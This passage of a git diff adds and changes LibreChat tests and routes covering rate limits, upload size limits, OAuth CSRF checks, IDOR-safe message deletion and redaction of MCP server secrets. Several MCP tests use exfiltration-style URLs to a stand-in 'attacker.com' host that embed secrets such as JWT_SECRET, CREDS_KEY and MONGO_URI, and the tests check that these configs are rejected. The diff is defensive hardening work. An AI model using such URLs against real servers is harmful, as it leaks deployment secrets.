+        delete process.env[key];
+      } else {
+        process.env[key] = savedEnv[key];
+      }
+    }
+  });
+
+  const setupApp = () => {
+    jest.clearAllMocks();
+    jest.isolateModules(() => {
+      const convosRouter = require('../convos');
+      ({ duplicateConversation } = require('~/server/utils/import/fork'));
+
+      app = express();
+      app.use(express.json());
+      app.use((req, res, next) => {
+        req.user = { id: 'rate-limit-test-user' };
+        next();
+      });
+      app.use('/api/convos', convosRouter);
+    });
+
+    duplicateConversation.mockResolvedValue({
+      conversation: { conversationId: 'duplicated-conv' },
+    });
+  };
+
+  describe('user limit', () => {
+    beforeEach(() => {
+      process.env.FORK_USER_MAX = '2';
+      process.env.FORK_USER_WINDOW = '1';
+      process.env.FORK_IP_MAX = '100';
+      process.env.FORK_IP_WINDOW = '1';
+      setupApp();
+    });
+
+    it('should return 429 after exceeding the user rate limit', async () => {
+      const userMax = parseInt(process.env.FORK_USER_MAX, 10);
+
+      for (let i = 0; i < userMax; i++) {
+        const res = await request(app)
+          .post('/api/convos/duplicate')
+          .send({ conversationId: 'conv-123' });
+        expect(res.status).toBe(201);
+      }
+
+      const res = await request(app)
+        .post('/api/convos/duplicate')
+        .send({ conversationId: 'conv-123' });
+      expect(res.status).toBe(429);
+      expect(res.body.message).toMatch(/too many/i);
+    });
+  });
+
+  describe('IP limit', () => {
+    beforeEach(() => {
+      process.env.FORK_USER_MAX = '100';
+      process.env.FORK_USER_WINDOW = '1';
+      process.env.FORK_IP_MAX = '2';
+      process.env.FORK_IP_WINDOW = '1';
+      setupApp();
+    });
+
+    it('should return 429 after exceeding the IP rate limit', async () => {
+      const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
+
+      for (let i = 0; i < ipMax; i++) {
+        const res = await request(app)
+          .post('/api/convos/duplicate')
+          .send({ conversationId: 'conv-123' });
+        expect(res.status).toBe(201);
+      }
+
+      const res = await request(app)
+        .post('/api/convos/duplicate')
+        .send({ conversationId: 'conv-123' });
+      expect(res.status).toBe(429);
+      expect(res.body.message).toMatch(/too many/i);
+    });
+  });
+});
diff --git a/api/server/routes/__tests__/convos-import.spec.js b/api/server/routes/__tests__/convos-import.spec.js
new file mode 100644
index 0000000000..c4ea139931
--- /dev/null
+++ b/api/server/routes/__tests__/convos-import.spec.js
@@ -0,0 +1,98 @@
+const express = require('express');
+const request = require('supertest');
+const multer = require('multer');
+
+const importFileFilter = (req, file, cb) => {
+  if (file.mimetype === 'application/json') {
+    cb(null, true);
+  } else {
+    cb(new Error('Only JSON files are allowed'), false);
+  }
+};
+
+/** Proxy app that mirrors the production multer + error-handling pattern */
+function createImportApp(fileSize) {
+  const app = express();
+  const upload = multer({
+    storage: multer.memoryStorage(),
+    fileFilter: importFileFilter,
+    limits: { fileSize },
+  });
+  const uploadSingle = upload.single('file');
+
+  function handleUpload(req, res, next) {
+    uploadSingle(req, res, (err) => {
+      if (err && err.code === 'LIMIT_FILE_SIZE') {
+        return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
+      }
+      if (err) {
+        return next(err);
+      }
+      next();
+    });
+  }
+
+  app.post('/import', handleUpload, (req, res) => {
+    res.status(201).json({ message: 'success', size: req.file.size });
+  });
+
+  app.use((err, _req, res, _next) => {
+    res.status(400).json({ error: err.message });
+  });
+
+  return app;
+}
+
+describe('Conversation Import - Multer File Size Limits', () => {
+  describe('multer rejects files exceeding the configured limit', () => {
+    it('returns 413 for files larger than the limit', async () => {
+      const limit = 1024;
+      const app = createImportApp(limit);
+      const oversized = Buffer.alloc(limit + 512, 'x');
+
+      const res = await request(app)
+        .post('/import')
+        .attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
+
+      expect(res.status).toBe(413);
+      expect(res.body.message).toBe('File exceeds the maximum allowed size');
+    });
+
+    it('accepts files within the limit', async () => {
+      const limit = 4096;
+      const app = createImportApp(limit);
+      const valid = Buffer.from(JSON.stringify({ title: 'test' }));
+
+      const res = await request(app)
+        .post('/import')
+        .attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
+
+      expect(res.status).toBe(201);
+      expect(res.body.message).toBe('success');
+    });
+
+    it('rejects at the exact boundary (limit + 1 byte)', async () => {
+      const limit = 512;
+      const app = createImportApp(limit);
+      const boundary = Buffer.alloc(limit + 1, 'a');
+
+      const res = await request(app)
+        .post('/import')
+        .attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
+
+      expect(res.status).toBe(413);
+    });
+
+    it('accepts a file just under the limit', async () => {
+      const limit = 512;
+      const app = createImportApp(limit);
+      const underLimit = Buffer.alloc(limit - 1, 'b');
+
+      const res = await request(app)
+        .post('/import')
+        .attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
+
+      expect(res.status).toBe(201);
+    });
+  });
+});
diff --git a/api/server/routes/__tests__/convos.spec.js b/api/server/routes/__tests__/convos.spec.js
index 931ef006d0..3bdeac32db 100644
--- a/api/server/routes/__tests__/convos.spec.js
+++ b/api/server/routes/__tests__/convos.spec.js
@@ -1,109 +1,24 @@
 const express = require('express');
 const request = require('supertest');
 
-jest.mock('@librechat/agents', () => ({
-  sleep: jest.fn(),
-}));
+const MOCKS = '../__test-utils__/convos-route-mocks';
 
-jest.mock('@librechat/api', () => ({
-  isEnabled: jest.fn(),
-  createAxiosInstance: jest.fn(() => ({
-    get: jest.fn(),
-    post: jest.fn(),
-    put: jest.fn(),
-    delete: jest.fn(),
-  })),
-  logAxiosError: jest.fn(),
-}));
-
-jest.mock('@librechat/data-schemas', () => ({
-  logger: {
-    debug: jest.fn(),
-    info: jest.fn(),
-    warn: jest.fn(),
-    error: jest.fn(),
-  },
-  createModels: jest.fn(() => ({
-    User: {},
-    Conversation: {},
-    Message: {},
-    SharedLink: {},
-  })),
-}));
-
-jest.mock('~/models/Conversation', () => ({
-  getConvosByCursor: jest.fn(),
-  getConvo: jest.fn(),
-  deleteConvos: jest.fn(),
-  saveConvo: jest.fn(),
-}));
-
-jest.mock('~/models/ToolCall', () => ({
-  deleteToolCalls: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
-  deleteAllSharedLinks: jest.fn(),
-  deleteConvoSharedLink: jest.fn(),
-}));
-
-jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
-
-jest.mock('~/server/middleware', () => ({
-  createImportLimiters: jest.fn(() => ({
-    importIpLimiter: (req, res, next) => next(),
-    importUserLimiter: (req, res, next) => next(),
-  })),
-  createForkLimiters: jest.fn(() => ({
-    forkIpLimiter: (req, res, next) => next(),
-    forkUserLimiter: (req, res, next) => next(),
-  })),
-  configMiddleware: (req, res, next) => next(),
-  validateConvoAccess: (req, res, next) => next(),
-}));
-
-jest.mock('~/server/utils/import/fork', () => ({
-  forkConversation: jest.fn(),
-  duplicateConversation: jest.fn(),
-}));
-
-jest.mock('~/server/utils/import', () => ({
-  importConversations: jest.fn(),
-}));
-
-jest.mock('~/cache/getLogStores', () => jest.fn());
-
-jest.mock('~/server/routes/files/multer', () => ({
-  storage: {},
-  importFileFilter: jest.fn(),
-}));
-
-jest.mock('multer', () => {
-  return jest.fn(() => ({
-    single: jest.fn(() => (req, res, next) => {
-      req.file = { path: '/tmp/test-file.json' };
-      next();
-    }),
-  }));
-});
-
-jest.mock('librechat-data-provider', () => ({
-  CacheKeys: {
-    GEN_TITLE: 'GEN_TITLE',
-  },
-  EModelEndpoint: {
-    azureAssistants: 'azureAssistants',
-    assistants: 'assistants',
-  },
-}));
-
-jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
-  initializeClient: jest.fn(),
-}));
-
-jest.mock('~/server/services/Endpoints/assistants', () => ({
-  initializeClient: jest.fn(),
-}));
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api());
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
+jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
+jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
+jest.mock('~/models', () => require(MOCKS).sharedModels());
+jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
+jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
+jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
+jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
+jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
+jest.mock('multer', () => require(MOCKS).multerLib());
+jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
 
 describe('Convos Routes', () => {
   let app;
diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js
index e87fcf8f15..1ad8cac087 100644
--- a/api/server/routes/__tests__/mcp.spec.js
+++ b/api/server/routes/__tests__/mcp.spec.js
@@ -32,6 +32,9 @@ jest.mock('@librechat/api', () => {
       getFlowState: jest.fn(),
       completeOAuthFlow: jest.fn(),
       generateFlowId: jest.fn(),
+      resolveStateToFlowId: jest.fn(async (state) => state),
+      storeStateMapping: jest.fn(),
+      deleteStateMapping: jest.fn(),
     },
     MCPTokenStorage: {
       storeTokens: jest.fn(),
@@ -180,7 +183,10 @@ describe('MCP Routes', () => {
       MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
         authorizationUrl: 'https://oauth.example.com/auth',
         flowId: 'test-user-id:test-server',
+        flowMetadata: { state: 'random-state-value' },
       });
+      MCPOAuthHandler.storeStateMapping.mockResolvedValue();
+      mockFlowManager.initFlow = jest.fn().mockResolvedValue();
 
       const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
         userId: 'test-user-id',
@@ -367,6 +373,121 @@ describe('MCP Routes', () => {
       expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
     });
 
+    describe('CSRF fallback via active PENDING flow', () => {
+      it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
+        const flowId = 'test-user-id:test-server';
+        const mockFlowManager = {
+          getFlowState: jest.fn().mockResolvedValue({
+            status: 'PENDING',
+            createdAt: Date.now(),
+          }),
+          completeFlow: jest.fn().mockResolvedValue(true),
+          deleteFlow: jest.fn().mockResolvedValue(true),
+        };
+        const mockFlowState = {
+          serverName: 'test-server',
+          userId: 'test-user-id',
+          metadata: {},
+          clientInfo: {},
+          codeVerifier: 'test-verifier',
+        };
+
+        getLogStores.mockReturnValue({});
+        require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+        MCPOAuthHandler.getFlowState.mockResolvedValue(mockFlowState);
+        MCPOAuthHandler.completeOAuthFlow.mockResolvedValue({
+          access_token: 'test-token',
+        });
+        MCPTokenStorage.storeTokens.mockResolvedValue();
+        mockRegistryInstance.getServerConfig.mockResolvedValue({});
+
+        const mockMcpManager = {
+          getUserConnection: jest.fn().mockResolvedValue({
+            fetchTools: jest.fn().mockResolvedValue([]),
+          }),
+        };
+        require('~/config').getMCPManager.mockReturnValue(mockMcpManager);
+        require('~/config').getOAuthReconnectionManager.mockReturnValue({
+          clearReconnection: jest.fn(),
+        });
+        require('~/server/services/Config/mcp').updateMCPServerTools.mockResolvedValue();
+
+        const response = await request(app)
+          .get('/api/mcp/test-server/oauth/callback')
+          .query({ code: 'test-code', state: flowId });
+
+        const basePath = getBasePath();
+        expect(response.status).toBe(302);
+        expect(response.headers.location).toContain(`${basePath}/oauth/success`);
+      });
+
+      it('should reject when no PENDING flow exists and no cookies are present', async () => {
+        const flowId = 'test-user-id:test-server';
+        const mockFlowManager = {
+          getFlowState: jest.fn().mockResolvedValue(null),
+        };
+
+        getLogStores.mockReturnValue({});
+        require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+        const response = await request(app)
+          .get('/api/mcp/test-server/oauth/callback')
+          .query({ code: 'test-code', state: flowId });
+
+        const basePath = getBasePath();
+        expect(response.status).toBe(302);
+        expect(response.headers.location).toBe(
+          `${basePath}/oauth/error?error=csrf_validation_failed`,
+        );
+      });
+
+      it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
+        const flowId = 'test-user-id:test-server';
+        const mockFlowManager = {
+          getFlowState: jest.fn().mockResolvedValue({
+            status: 'COMPLETED',
+            createdAt: Date.now(),
+          }),
+        };
+
+        getLogStores.mockReturnValue({});
+        require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+        const response = await request(app)
+          .get('/api/mcp/test-server/oauth/callback')
+          .query({ code: 'test-code', state: flowId });
+
+        const basePath = getBasePath();
+        expect(response.status).toBe(302);
+        expect(response.headers.location).toBe(
+          `${basePath}/oauth/error?error=csrf_validation_failed`,
+        );
+      });
+
+      it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
+        const flowId = 'test-user-id:test-server';
+        const mockFlowManager = {
+          getFlowState: jest.fn().mockResolvedValue({
+            status: 'PENDING',
+            createdAt: Date.now() - 3 * 60 * 1000,
+          }),
+        };
+
+        getLogStores.mockReturnValue({});
+        require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
+
+        const response = await request(app)
+          .get('/api/mcp/test-server/oauth/callback')
+          .query({ code: 'test-code', state: flowId });
+
+        const basePath = getBasePath();
+        expect(response.status).toBe(302);
+        expect(response.headers.location).toBe(
+          `${basePath}/oauth/error?error=csrf_validation_failed`,
+        );
+      });
+    });
+
     it('should handle OAuth callback successfully', async () => {
       // mockRegistryInstance is defined at the top of the file
       const mockFlowManager = {
@@ -1572,12 +1693,14 @@ describe('MCP Routes', () => {
     it('should return all server configs for authenticated user', async () => {
       const mockServerConfigs = {
         'server-1': {
-          endpoint: 'http://server1.com',
-          name: 'Server 1',
+          type: 'sse',
+          url: 'http://server1.com/sse',
+          title: 'Server 1',
         },
         'server-2': {
-          endpoint: 'http://server2.com',
-          name: 'Server 2',
+          type: 'sse',
+          url: 'http://server2.com/sse',
+          title: 'Server 2',
         },
       };
 
@@ -1586,7 +1709,18 @@ describe('MCP Routes', () => {
       const response = await request(app).get('/api/mcp/servers');
 
       expect(response.status).toBe(200);
-      expect(response.body).toEqual(mockServerConfigs);
+      expect(response.body['server-1']).toMatchObject({
+        type: 'sse',
+        url: 'http://server1.com/sse',
+        title: 'Server 1',
+      });
+      expect(response.body['server-2']).toMatchObject({
+        type: 'sse',
+        url: 'http://server2.com/sse',
+        title: 'Server 2',
+      });
+      expect(response.body['server-1'].headers).toBeUndefined();
+      expect(response.body['server-2'].headers).toBeUndefined();
       expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
     });
 
@@ -1641,10 +1775,10 @@ describe('MCP Routes', () => {
       const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
 
       expect(response.status).toBe(201);
-      expect(response.body).toEqual({
-        serverName: 'test-sse-server',
-        ...validConfig,
-      });
+      expect(response.body.serverName).toBe('test-sse-server');
+      expect(response.body.type).toBe('sse');
+      expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+      expect(response.body.title).toBe('Test SSE Server');
       expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
         'temp_server_name',
         expect.objectContaining({
@@ -1698,6 +1832,78 @@ describe('MCP Routes', () => {
       expect(response.body.message).toBe('Invalid configuration');
     });
 
+    it('should reject SSE URL containing env variable references', async () => {
+      const response = await request(app)
+        .post('/api/mcp/servers')
+        .send({
+          config: {
+            type: 'sse',
+            url: 'http://attacker.com/?secret=${JWT_SECRET}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+    });
+
+    it('should reject streamable-http URL containing env variable references', async () => {
+      const response = await request(app)
+        .post('/api/mcp/servers')
+        .send({
+          config: {
+            type: 'streamable-http',
+            url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+    });
+
+    it('should reject websocket URL containing env variable references', async () => {
+      const response = await request(app)
+        .post('/api/mcp/servers')
+        .send({
+          config: {
+            type: 'websocket',
+            url: 'ws://attacker.com/?secret=${MONGO_URI}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
+    });
+
+    it('should redact secrets from create response', async () => {
+      const validConfig = {
+        type: 'sse',
+        url: 'https://mcp-server.example.com/sse',
+        title: 'Test Server',
+      };
+
+      mockRegistryInstance.addServer.mockResolvedValue({
+        serverName: 'test-server',
+        config: {
+          ...validConfig,
+          apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
+          oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
+          headers: { Authorization: 'Bearer leaked-token' },
+        },
+      });
+
+      const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
+
+      expect(response.status).toBe(201);
+      expect(response.body.apiKey?.key).toBeUndefined();
+      expect(response.body.oauth?.client_secret).toBeUndefined();
+      expect(response.body.headers).toBeUndefined();
+      expect(response.body.apiKey?.source).toBe('admin');
+      expect(response.body.oauth?.client_id).toBe('cid');
+    });
+
     it('should return 500 when registry throws error', async () => {
       const validConfig = {
         type: 'sse',
@@ -1727,7 +1933,9 @@ describe('MCP Routes', () => {
       const response = await request(app).get('/api/mcp/servers/test-server');
 
       expect(response.status).toBe(200);
-      expect(response.body).toEqual(mockConfig);
+      expect(response.body.type).toBe('sse');
+      expect(response.body.url).toBe('https://mcp-server.example.com/sse');
+      expect(response.body.title).toBe('Test Server');
       expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
         'test-server',
         'test-user-id',
@@ -1743,6 +1951,29 @@ describe('MCP Routes', () => {
       expect(response.body).toEqual({ message: 'MCP server not found' });
     });
 
+    it('should redact secrets from get response', async () => {
+      mockRegistryInstance.getServerConfig.mockResolvedValue({
+        type: 'sse',
+        url: 'https://mcp-server.example.com/sse',
+        title: 'Secret Server',
+        apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
+        oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
+        headers: { Authorization: 'Bearer internal-token' },
+        oauth_headers: { 'X-OAuth': 'secret-value' },
+      });
+
+      const response = await request(app).get('/api/mcp/servers/secret-server');
+
+      expect(response.status).toBe(200);
+      expect(response.body.title).toBe('Secret Server');
+      expect(response.body.apiKey?.key).toBeUndefined();
+      expect(response.body.apiKey?.source).toBe('admin');
+      expect(response.body.oauth?.client_secret).toBeUndefined();
+      expect(response.body.oauth?.client_id).toBe('cid');
+      expect(response.body.headers).toBeUndefined();
+      expect(response.body.oauth_headers).toBeUndefined();
+    });
+
     it('should return 500 when registry throws error', async () => {
       mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
 
@@ -1769,7 +2000,9 @@ describe('MCP Routes', () => {
         .send({ config: updatedConfig });
 
       expect(response.status).toBe(200);
-      expect(response.body).toEqual(updatedConfig);
+      expect(response.body.type).toBe('sse');
+      expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
+      expect(response.body.title).toBe('Updated Server');
       expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
         'test-server',
         expect.objectContaining({
@@ -1781,6 +2014,35 @@ describe('MCP Routes', () => {
       );
     });
 
+    it('should redact secrets from update response', async () => {
+      const validConfig = {
+        type: 'sse',
+        url: 'https://mcp-server.example.com/sse',
+        title: 'Updated Server',
+      };
+
+      mockRegistryInstance.updateServer.mockResolvedValue({
+        ...validConfig,
+        apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
+        oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
+        headers: { Authorization: 'Bearer internal-token' },
+        env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
+      });
+
+      const response = await request(app)
+        .patch('/api/mcp/servers/test-server')
+        .send({ config: validConfig });
+
+      expect(response.status).toBe(200);
+      expect(response.body.title).toBe('Updated Server');
+      expect(response.body.apiKey?.key).toBeUndefined();
+      expect(response.body.apiKey?.source).toBe('admin');
+      expect(response.body.oauth?.client_secret).toBeUndefined();
+      expect(response.body.oauth?.client_id).toBe('cid');
+      expect(response.body.headers).toBeUndefined();
+      expect(response.body.env).toBeUndefined();
+    });
+
     it('should return 400 for invalid configuration', async () => {
       const invalidConfig = {
         type: 'sse',
@@ -1797,6 +2059,51 @@ describe('MCP Routes', () => {
       expect(response.body.errors).toBeDefined();
     });
 
+    it('should reject SSE URL containing env variable references', async () => {
+      const response = await request(app)
+        .patch('/api/mcp/servers/test-server')
+        .send({
+          config: {
+            type: 'sse',
+            url: 'http://attacker.com/?secret=${JWT_SECRET}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+    });
+
+    it('should reject streamable-http URL containing env variable references', async () => {
+      const response = await request(app)
+        .patch('/api/mcp/servers/test-server')
+        .send({
+          config: {
+            type: 'streamable-http',
+            url: 'http://attacker.com/?key=${CREDS_KEY}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+    });
+
+    it('should reject websocket URL containing env variable references', async () => {
+      const response = await request(app)
+        .patch('/api/mcp/servers/test-server')
+        .send({
+          config: {
+            type: 'websocket',
+            url: 'ws://attacker.com/?secret=${MONGO_URI}',
+          },
+        });
+
+      expect(response.status).toBe(400);
+      expect(response.body.message).toBe('Invalid configuration');
+      expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
+    });
+
     it('should return 500 when registry throws error', async () => {
       const validConfig = {
         type: 'sse',
diff --git a/api/server/routes/__tests__/messages-delete.spec.js b/api/server/routes/__tests__/messages-delete.spec.js
new file mode 100644
index 0000000000..e134eecfd0
--- /dev/null
+++ b/api/server/routes/__tests__/messages-delete.spec.js
@@ -0,0 +1,200 @@
+const mongoose = require('mongoose');
+const express = require('express');
+const request = require('supertest');
+const { v4: uuidv4 } = require('uuid');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+jest.mock('@librechat/agents', () => ({
+  sleep: jest.fn(),
+}));
+
+jest.mock('@librechat/api', () => ({
+  unescapeLaTeX: jest.fn((x) => x),
+  countTokens: jest.fn().mockResolvedValue(10),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+  ...jest.requireActual('@librechat/data-schemas'),
+  logger: {
+    debug: jest.fn(),
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+  },
+}));
+
+jest.mock('librechat-data-provider', () => ({
+  ...jest.requireActual('librechat-data-provider'),
+}));
+
+jest.mock('~/models', () => ({
+  saveConvo: jest.fn(),
+  getMessage: jest.fn(),
+  saveMessage: jest.fn(),
+  getMessages: jest.fn(),
+  updateMessage: jest.fn(),
+  deleteMessages: jest.fn(),
+}));
+
+jest.mock('~/server/services/Artifacts/update', () => ({
+  findAllArtifacts: jest.fn(),
+  replaceArtifactContent: jest.fn(),
+}));
+
+jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
+
+jest.mock('~/server/middleware', () => ({
+  requireJwtAuth: (req, res, next) => next(),
+  validateMessageReq: (req, res, next) => next(),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+  getConvosQueried: jest.fn(),
+}));
+
+jest.mock('~/db/models', () => ({
+  Message: {
+    findOne: jest.fn(),
+    find: jest.fn(),
+    meiliSearch: jest.fn(),
+  },
+}));
+
+/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
+
+const { messageSchema } = require('@librechat/data-schemas');
+
+describe('deleteMessages – model-level IDOR prevention', () => {
+  let mongoServer;
+  let Message;
+
+  const ownerUserId = 'user-owner-111';
+  const attackerUserId = 'user-attacker-222';
+
+  beforeAll(async () => {
+    mongoServer = await MongoMemoryServer.create();
+    Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
+    await mongoose.connect(mongoServer.getUri());
+  });
+
+  afterAll(async () => {
+    await mongoose.disconnect();
+    await mongoServer.stop();
+  });
+
+  beforeEach(async () => {
+    await Message.deleteMany({});
+  });
+
+  it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
+    const conversationId = uuidv4();
+    const victimMsgId = 'victim-msg-001';
+
+    await Message.create({
+      messageId: victimMsgId,
+      conversationId,
+      user: ownerUserId,
+      text: 'Sensitive owner data',
+    });
+
+    await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
+
+    const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
+    expect(victimMsg).not.toBeNull();
+    expect(victimMsg.user).toBe(ownerUserId);
+    expect(victimMsg.text).toBe('Sensitive owner data');
+  });
+
+  it("should delete the user's own message", async () => {
+    const conversationId = uuidv4();
+    const ownMsgId = 'own-msg-001';
+
+    await Message.create({
+      messageId: ownMsgId,
+      conversationId,
+      user: ownerUserId,
+      text: 'My message',
+    });
+
+    const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
+    expect(result.deletedCount).toBe(1);
+
+    const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
+    expect(deleted).toBeNull();
+  });
+
+  it('should scope deletion by conversationId, messageId, and user together', async () => {
+    const convoA = uuidv4();
+    const convoB = uuidv4();
+
+    await Message.create([
+      { messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
+      { messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
+    ]);
+
+    await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
+
+    const remaining = await Message.find({ user: ownerUserId }).lean();
+    expect(remaining).toHaveLength(2);
+  });
+});
+
+/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
+
+describe('DELETE /:conversationId/:messageId – route handler', () => {
+  let app;
+  const { deleteMessages } = require('~/models');
+
+  const authenticatedUserId = 'user-owner-123';
+
+  beforeAll(() => {
+    const messagesRouter = require('../messages');
+
+    app = express();
+    app.use(express.json());
+    app.use((req, res, next) => {
+      req.user = { id: authenticatedUserId };
+      next();
+    });
+    app.use('/api/messages', messagesRouter);
+  });
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+  });
+
+  it('should pass user and conversationId in the deleteMessages filter', async () => {
+    deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+    await request(app).delete('/api/messages/convo-1/msg-1');
+
+    expect(deleteMessages).toHaveBeenCalledTimes(1);
+    expect(deleteMessages).toHaveBeenCalledWith({
+      messageId: 'msg-1',
+      conversationId: 'convo-1',
+      user: authenticatedUserId,
+    });
+  });
+
+  it('should return 204 on successful deletion', async () => {
+    deleteMessages.mockResolvedValue({ deletedCount: 1 });
+
+    const response = await request(app).delete('/api/messages/convo-1/msg-owned');
+
+    expect(response.status).toBe(204);
+    expect(deleteMessages).toHaveBeenCalledWith({
+      messageId: 'msg-owned',
+      conversationId: 'convo-1',
+      user: authenticatedUserId,
+    });
+  });
+
+  it('should return 500 when deleteMessages throws', async () => {
+    deleteMessages.mockRejectedValue(new Error('DB failure'));
+
+    const response = await request(app).delete('/api/messages/convo-1/msg-1');
+
+    expect(response.status).toBe(500);
+    expect(response.body).toEqual({ error: 'Internal server error' });
+  });
+});
diff --git a/api/server/routes/agents/v1.js b/api/server/routes/agents/v1.js
index 682a9c795f..ed989bcf44 100644
--- a/api/server/routes/agents/v1.js
+++ b/api/server/routes/agents/v1.js
@@ -117,7 +117,7 @@ router.post(
   '/:id/duplicate',
   checkAgentCreate,
   canAccessAgentResource({
-    requiredPermission: PermissionBits.VIEW,
+    requiredPermission: PermissionBits.EDIT,
     resourceIdParam: 'id',
   }),
   v1.duplicateAgent,
diff --git a/api/server/routes/auth.js b/api/server/routes/auth.js
index e84442f65f..d55684f3de 100644
--- a/api/server/routes/auth.js
+++ b/api/server/routes/auth.js
@@ -63,7 +63,7 @@ router.post(
   resetPasswordController,
 );
 
-router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA);
+router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
 router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
 router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
 router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
diff --git a/api/server/routes/config.js b/api/server/routes/config.js
index a2dc5b79d2..0adc9272bb 100644
--- a/api/server/routes/config.js
+++ b/api/server/routes/config.js
@@ -16,9 +16,7 @@ const sharedLinksEnabled =
   process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
 
 const publicSharedLinksEnabled =
-  sharedLinksEnabled &&
-  (process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
-    isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
+  sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
 
 const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
 const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
diff --git a/api/server/routes/convos.js b/api/server/routes/convos.js
index bb9c4ebea9..578796170a 100644
--- a/api/server/routes/convos.js
+++ b/api/server/routes/convos.js
@@ -1,7 +1,7 @@
 const multer = require('multer');
 const express = require('express');
 const { sleep } = require('@librechat/agents');
-const { isEnabled } = require('@librechat/api');
+const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
